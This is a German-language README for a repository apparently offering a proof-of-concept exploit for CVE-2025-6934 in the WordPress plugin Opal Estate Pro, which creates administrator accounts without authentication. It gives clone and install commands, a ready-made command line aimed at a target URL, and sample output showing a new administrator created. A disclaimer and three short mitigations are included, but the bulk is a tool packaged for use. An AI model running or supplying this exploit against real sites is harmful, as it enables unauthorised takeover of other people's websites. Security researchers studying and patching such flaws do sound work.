CVE-2025-6934 – Exploit für WordPress Opal Estate Pro

📖 Beschreibung
Dieses Repository enthält einen Proof of Concept (PoC)-Exploit für CVE-2025-6934,
eine kritische Schwachstelle im WordPress-Plugin: Opal Estate Pro <= 1.7.5, die die Erstellung von Administrator-Konten ohne Authentifizierung ermöglicht.

⚠️ Haftungsausschluss: Dieses Tool wird nur zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt.
Der Autor übernimmt keine Haftung für Missbrauch oder verursachte Schäden.

🚀 Funktionen

• Automatische Erkennung der Plugin-Version aus readme.txt
• Extraktion der Nonce für die Registrierung
• Ausnutzung des anfälligen AJAX-Endpunkts
• Erstellen eines neuen Administrator-Kontos

🔧 Installation

Repository klonen und Abhängigkeiten installieren:

git clone https://github.com/yukinime/CVE-2025-6934.git
cd CVE-2025-6934

pip3 install -r requirements.txt

requirements.txt

requests
beautifulsoup4
colorama

▶️ Verwendung

Führen Sie das Skript mit Ihrem Ziel aus:

python3 CVE-2025-6934.py -u http://target.com/ -mail [email protected] -password MySecurePass123 -user newadmin

✅ Beispielausgabe:

[✔] Exploit erfolgreich!
    Username : newadmin
    Email    : [email protected]
    Password : MySecurePass123
    Role     : administrator

📸 Screenshot

Exploit-Screenshot

🛡️ Gegenmaßnahmen

• Aktualisieren Sie auf die neueste Version des Plugins
• Oder deaktivieren Sie das anfällige Plugin sofort
• Überwachen Sie die WordPress-Logs auf nicht autorisierte Kontoerstellungen

👤 Autor

Cyberlone Indonesia (Cyberlone)

📜 Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE für Details.